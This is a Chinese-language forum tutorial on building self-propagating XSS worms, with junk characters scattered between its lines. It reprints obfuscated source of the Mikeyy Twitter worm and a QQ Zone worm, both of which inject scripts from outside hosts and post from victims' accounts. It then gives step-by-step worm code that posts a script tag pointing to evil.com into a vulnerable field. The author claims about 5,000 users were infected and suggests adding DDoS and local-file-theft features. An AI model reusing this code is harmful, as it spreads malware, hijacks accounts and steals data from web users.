复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
( X# |! [, f- e/ j, ?$ Z  I9 g4 P6 ?复制代码案例:Twitter 蠕蟲五度發威
' ~+ D( w, ?' d/ t% P! h& N1 c第一版:
  下载 (5.1 KB)

6 天前 08:27
% ]9 S5 s5 \* `. [5 c( _  I
! o, B) x# B0 e$ C  D9 x: b第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
' h) G) v# v1 a5 J$ Q" a
* ]/ P$ G+ W" r   2.   

   3. function XHConn(){  
- C' T) b, R$ O( H: {8 O
   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
& n* m" V# l+ m  V  {. K
+ _3 h( U+ u* v  ^2 d) x   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

' k; t2 A; |1 `/ s5 q   8.   catch(e) { _0x6687x2=false; }; }; };  
( q) X0 z; O" J. H/ b, p2 q& _! Q复制代码第六版:   1. function wait() {  

! y- D3 u) M+ b; o* J( @   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

( a9 z8 l* @! K5 ?. g; j' N' T# v/ N# L   4.   var tmp_posted=tmp_cookie.match(/posted/);  
* ]. u7 {4 v+ x" r) E
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
3 ]4 R0 N" H6 Q  x, o( D
* w  B$ ~' v6 q- P   6.   var authtoken=authreg.exec(content);  
6 ]$ A$ P, S, M: D% _6 t7 L
8 a# Z  t. O3 k" p   7.   var authtoken=authtoken[1];  
! b9 U6 |" p, H; J( G( ^1 O
   8.   var randomUpdate= new Array();  

) X% K$ g8 `0 m/ P: [+ u# g   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
% N! r" M1 T- a: o3 J
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
/ f9 b, J3 O& B. s8 e
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

! y5 D# I1 F; `% x4 ]  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
* @9 R% W; s( q
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
9 A4 o4 x; Q5 A; \: k
; C5 `! H5 j; U7 q. m& s  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

5 p' @. g1 Z1 {- T  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
: @  ]% `2 `4 I( A) h6 N0 D2 d" [
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
" f; p, }# o) u& h+ i* R; S7 ^
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

& K( G( H+ H1 m, d  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

/ d& V5 I  y( c/ S, R  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
1 I# d5 K6 e  O- M- s7 }5 k% T5 l
  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
( `6 i9 x2 F: A6 m6 t4 x
7 G# w, f: f6 ^" s% d( V" `  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
9 e4 u8 I2 [; L9 U1 L
% B  i; ~2 n( r$ X1 x9 B  27.     
- S/ ]* }/ H, |- s8 l3 l0 k
+ [( s, g* n8 N  k0 E3 p. c  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
( t6 q9 u- D' d" E7 {2 R; X
  32.   var ajaxConn1= new XHConn();  
* D# M5 P- U6 n& a7 |( w+ u
5 z" y: E5 S7 J$ L1 s; a% }0 Q  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
6 G' L1 V  J  q  b- b$ H& D
* P7 _' P$ ?+ A) r( h. O  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
+ h# w) S7 r/ g& |
/ X1 d& L; e/ m4 n  35.   var XSS=urlencode(genXSS);  
  j" I0 a7 D8 Z' w% ?# D& q
  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
6 D/ J6 L. D* N$ ~+ t3 a2 ~  k
3 Z7 e% _6 ?8 s* ]9 C% Y  39. } ;  

  40. setTimeout(wait(),5250);  
& j' l$ H. Z3 z# s8 R1 G( u' q复制代码QQ空间XSSfunction killErrors() {return true;}

  Y) F3 }" N; W) Y. c2 E8 Iwindow.onerror=killErrors;



. J8 d( k% @: P6 ]! }var shendu;shendu=4;
4 C' B9 A, X- a2 M
: O# ]1 z* H* C4 z//---------------global---v------------------------------------------
3 V/ L" u5 M$ ^7 \( o2 V
3 G& @, I- c9 w" k& Z+ p//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

0 Z8 x1 U# R9 \  nvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

- J; d: q$ E4 a+ v1 |" B; A. P; Lvar myblogurl=new Array();var myblogid=new Array();
5 y2 z& i2 i5 r4 ^: L
" {' Y! P, V" Y        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
5 s9 X1 N9 u( T& g: T* v+ e
        gurl=gurl.substring(0,gurle+3);        
. s& o7 k5 [( r6 v, I% z4 l
        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);
, n9 W' K. X5 \0 g. n3 `
- k6 K, F: f' t8 H! r( G        cookieS=visitorID.indexOf(",");
) I2 D! j/ N# ?( q
        visitorID=visitorID.substring(0,cookieS);

5 `9 e& A  L" m+ C: \- v/ F' O        get_my_blog(visitorID);

7 d  R2 q* o* a8 [, z2 V4 d- U8 f1 l        DOshuamy();
' T/ J! m, i) G+ [/ r! W


//挂马

function DOshuamy(){

var ssr=document.getElementById("veryTitle");
- F  F; P- E+ J
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
! |: B5 {3 ^) B* [% I+ x
( [% G4 N: C, D  v) G}



2 I: @" z! ]2 b% v  y//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
: y* W4 {, O: M- Z4 _: _
function get_my_blog(visitorID){

; q. u% d2 V( b. P8 I   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
% Q  S$ H% D* A* k# C+ ~0 J: \
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的

( b# m3 z; c0 J" _  k$ t1 U# }     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
  K" a: ]2 ]1 g% Z- y
# W' U. C! S6 f+ m     xhr.send();guest=xhr.responseText;
, y: A* F: a1 L
) `# O9 Q) p" q( p$ b     get_my_blogurl(guest);    //执行这个函数
8 x" L& N3 \9 h* V/ a8 P" \5 J! q
3 h4 r, i0 A; K1 O4 C# N& a    }
9 d- ?* |+ b$ }5 [
}



: q5 V& c% _  H1 h//这里似乎是判断没有登录的

function get_my_blogurl(guest){

  var mybloglist=guest;

5 ^5 ]- o/ x; l1 [  var myurls;var blogids;var blogide;

# t$ m3 L2 g: \+ S* \: W  for(i=0;i<shendu;i++){
- Q5 |- v5 t$ W) f7 ^5 W
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
) @! ]2 C7 W( j- V  a
     if(myurls!=-1){    //找到了就执行下面的
/ z$ m, P* F) L% I, ?4 X. _
         mybloglist=mybloglist.substring(myurls+11);

& N# I3 K4 |& T1 ]& v1 ^5 V         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

( t8 j7 W# n" e0 @) u  |        }else{break;}
. E# F" U" P% B( d! x5 I5 @% J" P9 j
5 }0 B, K7 r/ h}
! H- z" T+ d6 g
get_my_testself();    //执行这个函数

; `0 }- A* ?' o1 I- G0 b- y}
5 L2 z7 t0 S! t" O- F* G! \


8 E% s& c6 H/ x6 m//这里往哪跳就不知道了
, P4 s4 c6 R& b! R" A) m6 o
function get_my_testself(){
: k- y, e4 @( G& z/ T
  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
9 ?9 s: E! G% T
6 ?) g& }4 n* s8 T  |: o! b      if(xhr2){        //如果成功

& U5 V+ \' Z& J; Q" F              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
) V* o8 O3 A+ T
6 \* q4 a3 a& z- x              guest2=xhr2.responseText;

5 b- K: I3 B9 d              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

" b9 |. p: j! C. e) x              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
$ z. Z5 Q" A: d0 g
  \: T/ V6 [  e              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
4 A3 b1 z7 M8 R3 e; j
4 _: k& S# F9 [0 c5 c4 p# ?* c+ ^                targetblogurlid=myblogid;   
# h/ n8 L9 D9 ~* W$ q
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
; b% J5 R3 ]; u
% h+ d$ \/ \& A' d& N8 f                break;

% N1 F8 \9 M" p* x* b               }
( n+ y( g# M- @+ h: ]+ B
' r0 p6 [* j4 d) F              if(mycheckit=="-1"){
: C5 Y" l  T: k  A: ^# p% S
( o# K( r, X7 i! S( q( G                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它

& M1 ~  {8 k/ q                break;

4 j/ A& s: g4 I. k: m2 ?               }

        }      

}

}
* s$ u1 Z: L/ i' S; Z. C8 \5 S* B
7 ?- }1 L  R8 ~  y" I5 u$ _

//--------------------------------------  
1 C+ y8 r" n5 P0 o& p1 y
//根据浏览器创建一个XMLHttpRequest对象
- s, J6 E( |- ~! e: r2 w
function createXMLHttpRequest(){
: S1 f9 E' p1 C1 w- d
8 L5 A% I( G' f* S    var XMLhttpObject=null;  
% d. ?2 B/ N$ a( b8 ?
  n  C0 d7 z7 x1 [2 X; }" u0 c    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

1 m: i% p% {9 \& Q: ^      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  
* h& }1 d4 Y: j6 P) J, ^* u% P
9 M  p5 |# G' _( d, y        {  

2 ]$ [# z5 @$ C            try  

            {  
1 X. ]5 I& i3 Y* m
                XMLhttpObject=new ActiveXObject(MSXML);  

) A. c8 P2 O6 ^                break;  
7 D% o5 p8 M- ]( {+ `
& \, u  u7 X: {            }  
# y6 z7 J7 x& K' ?+ |
1 w9 O' j9 w! }0 C& F3 m" a            catch (ex) {  
+ m3 E8 K, m5 Y' k- V( {+ T2 s! K
" I' F* e, }# v6 ~6 Y            }  
& s' E7 b5 a, b$ Z$ u' d
         }  
  U( N) }$ ^0 H
      }
' U0 Z. B6 ?+ I7 e; W, Y& ~" m
! E  P8 ~( I4 S; i( P: ^: L4 lreturn XMLhttpObject;

}  


6 }/ v8 z; ?. U; N6 Y$ Z7 N
//这里就是感染部分了
  ~2 J/ S+ b- t7 h( ]: _6 v
function add_js(visitorID,targetblogurlid,gurl){
+ u  ~2 p9 |! ~6 T, |7 ~  ^
& D5 e6 ?6 q6 q$ x! B9 Vvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
" P2 @# Q; U9 `4 V" w# o
s2.type='text/javascript';
! B5 m" l  v9 {2 Z
document.getElementsByTagName('head').item(0).appendChild(s2);
$ z, W& G2 \/ g9 }
" w( t  b3 N1 I# I& r# ?}

; b4 k! B2 k1 o+ {, l' S- C( j

function add_jsdel(visitorID,targetblogurlid,gurl){
" r- K4 k7 @( ~7 D$ F% @
# ^, d7 F3 e7 t4 r) x. k- D4 J7 evar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
9 l+ Z: U; B+ a8 p( H. n
" ]) L& a% D* t! n) S7 v2 Ts2.type='text/javascript';

& P) t8 o% J1 ?1 x5 m0 C- sdocument.getElementsByTagName('head').item(0).appendChild(s2);

0 O2 e! Z3 c( m. x}
1 m$ e, ~" A' F( [8 S8 L复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

5 ~' r. c% `1 D" m8 ]3 r, D& {& ~5 [2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
9 d  z( _6 H. O/ @0 u
6 X% s1 Z. P* h. g$ w. a4 \& W综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

' Z: D& K/ J1 q2 N/ k! ^5 r7 `' w3 k
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
2 p, T. x; x, L+ g& I! b- v  I
首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
" P  H/ N) w, F, O9 s
# |+ F+ g' y* \2 Y. ?5 frequest = new XMLHttpRequest();

& t& E/ B6 X! \6 }+ xif(request.overrideMimeType) {
3 p# n$ g; C3 }  _. _( A# P
request.overrideMimeType('text/xml');
/ B9 w; m5 f% V1 L" C" O5 V
. B7 I& i/ R: w2 c# Z" Y$ d1 I  Y}
' A  P- t" o  v/ B
} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
' k0 u1 k# t! }, x6 d- K* W
- C! x. \% L. b' |+ x' }1 V/ Mtry {

request = new ActiveXObject(versions);
9 ]& C7 R2 [2 {9 m, s1 z1 S- |
" b( q+ g8 |. p5 ?} catch(e) {}
( t# ?" {( S5 F+ V
}
- r# o$ s7 E/ d+ \9 O6 M
}

6 ]+ c5 D; A$ y& f; CxmlHttpReq=request;
2 Q% ]+ N! E' f  s8 M复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

" b2 a! j0 b3 t6 V0 K        var Browser_Name=navigator.appName;
2 u' I" {$ ]" r: W! V
        var Browser_Version=parseFloat(navigator.appVersion);

& {- x/ N2 {* d* k. X# h5 Z( }        var Browser_Agent=navigator.userAgent;
( Y3 m+ n# \5 J& u! U
4 Z0 o: o4 E7 u7 X% k        

        var Actual_Version,Actual_Name;

# \4 r4 I/ m$ C5 ~4 n        
' N, i1 A, C- ?! o
: w% G, ?- Z( j4 C. p        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");

3 P7 M1 H- n  G1 _! C        var is_Ch=(Browser_Name=="Chrome");

        

) l% q# v4 G# `9 f% v2 B- t# G        if(is_NN){

2 f$ V8 b5 t4 }% I6 R            if(Browser_Version>=5.0){

1 G" j# ]' [* ~. N6 t7 U. A- k                var Split_Sign=Browser_Agent.lastIndexOf("/");
5 x/ ]6 y& s7 Q! i* p( \
                var Version=Browser_Agent.indexOf(" ",Split_Sign);
/ O( F7 P% x! u7 j! h
- e" `9 J0 {8 S( B/ K; ^$ N                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

& Y; e0 t% r) x* a  D1 \( c
7 u# H( X  S. D3 n  d" I7 y1 O
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

8 g$ R* J' A: K' d                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
7 A% t# {* P& |/ J
            }

; c" X' C- H% P+ R; ?& U' x, k            else{

                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
; ~4 n9 i% H9 \8 D/ t
            }

        }

2 y8 M0 i# I- q( r9 H) T# t        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
6 [! o: L- a8 R4 x
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            
4 |' o0 ]. D2 b. g( ^. _
, L  d% f7 S: |* q5 k. W            if(Browser_Agent.indexOf("Maxthon")!=-1){

1 n7 ^, e6 r; m* x1 d. E( g7 l                Actual_Name+="(Maxthon)";
7 `7 X9 D7 d4 @+ D! |1 h
            }

* N) W1 p8 v' ?$ O; v, v            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

% q7 Z0 i' u6 q                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

1 V* H$ ]: P2 ]: z- y6 Z        }

        else if(is_Ch){
+ @$ @9 r- E& O7 W/ S+ H" q
            var Version_Start=Browser_Agent.indexOf("Chrome");
8 y' c0 e. \+ l
# D4 Z% g, F; d% V1 x9 H8 {            var Version_End=Browser_Agent.indexOf(";",Version_Start);
! k4 P/ |4 D3 ^0 E9 e: k5 l, K
/ X# j  o5 A' m            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
6 q) [$ R: H. G  Y4 z' ]5 H  t9 }+ C
            

& `; r( S- @) z" r% `            if(Browser_Agent.indexOf("Maxthon")!=-1){
& @$ J7 l, h; L
                Actual_Name+="(Maxthon)";

            }

1 p6 A, w0 k% ~9 J" E& R3 P            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

; B3 r% q6 `! F2 I                var tempstart=Browser_Agent.indexOf("Opera");
  O4 D" ^$ m$ C
                var tempend=Browser_Agent.length;
$ z) }' O" `& r6 d* M
( a6 J4 ]- y% G6 m4 J' C4 X/ m                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
$ Z6 L) F3 D4 o: z9 N
& ?; K% d4 B( j0 K; }- J% g8 R        }

' R5 _0 b2 ]" p( s& X" i7 _        else{

            Actual_Name="Unknown Navigator"

& t6 a# U1 i  f; E; l7 a/ H. `' ^- r            Actual_Version="Unknown Version"

        }


4 _7 O1 m3 ]2 H9 t
        navigator.Actual_Name=Actual_Name;

* u# N6 L( N- x9 h0 ]" n, S$ R7 N        navigator.Actual_Version=Actual_Version;

        
# _# T; u& `3 D! r
; q; T8 e% N# Y6 W( f; j        this.Name=Actual_Name;

        this.Version=Actual_Version;
; s" A6 d; G0 Z
2 B8 R# S. t$ L. u8 s    }
/ `5 D( @$ L7 p; W: ?. d
    browserinfo();
) O0 t. t2 I1 {; M
8 `  S% `0 A. w/ R    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

: y7 |$ A3 v: t  S    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
5 S8 j. m/ S3 F! X: K
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
9 w+ d% U1 y; @" o, p& }. O
8 L: M. ?8 p& `" A    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
3 w. E! d, C) f6 g" M. K+ Y" F复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
* h4 O9 v; Z" y, i; P3 y1 _复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

' O$ v4 C" T3 d2 Y( K8 D" C. l. l8 LxmlHttpReq.send(null);

& D# |/ v1 ~4 b% ^5 cvar resource = xmlHttpReq.responseText;
; j( ^: N; L# l. V( Q5 Z3 n
var id=0;var result;
5 |9 ~8 X( ^7 n% |- I, L
) }7 e" A% a9 e/ v( `$ Uvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
3 W$ t" U& O* D. _- {
; r/ |) ?5 s) u' m5 X( Rwhile ((result = patt.exec(resource)) != null)  {
# m: m( e0 G1 A4 L
id++;
. B6 S) X8 U2 W1 x; c: I
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
" G* X; E, [! _4 T
no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
* p6 O8 x7 X' B8 l& L
- [) q7 M2 I' e, s" s# w! {xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
# a( ^$ e% C% t$ r
" R2 g' U/ [2 T/ G; xxmlHttpReq.setRequestHeader("content-length",post.length);
7 S) R- E; ?0 b5 M  n
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
! q8 n6 l) M( ^* B
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
1 J, J3 D+ i* _9 T  m, G
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
: w* k7 R8 p9 O6 U& H
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

9 D2 }5 k. K/ Dvar post="wd="+wd;

0 p; T9 K6 b$ y" Q( o. bxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
, M: r1 N3 E$ `3 H
- w5 [) Y. Y( @" `xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

8 }; M6 ?' C" y/ `. I$ F0 T1 ^xmlHttpReq.setRequestHeader("content-length",post.length);
/ |6 C! ]: g7 W* [" }: I: @
2 S! o+ }; j" [7 q& m  w3 ~. YxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
: m6 K+ m) H: d% v复制代码-----------------------------------------------------总结-------------------------------------------------------------------
" x7 A& \* R2 M* J5 j# W5 m4 o
1 M3 [& h. A  t  o% |

本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
. O/ S, H( B- f& ]+ o0 l蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

% G" V4 |6 ]7 z! H8 U* S- y, }* u( @
* r2 G1 k* a; }' H2 u


3 W% B; k% o, {% x# ], r3 ?
. M" O1 z4 ~  r$ q! i- @
7 U, r/ ~/ O) W  v+ U2 X
0 ^0 {- n1 [; H4 @. X" w本文引用文档资料:
" K# y% q- ]; ^) O
# R2 j/ Q8 I8 s0 `- w9 b- g* l# M"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
/ t4 \: _1 `* l* g" {# ^( {http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
" G1 g* k3 x# L* Y6 q- ]) ?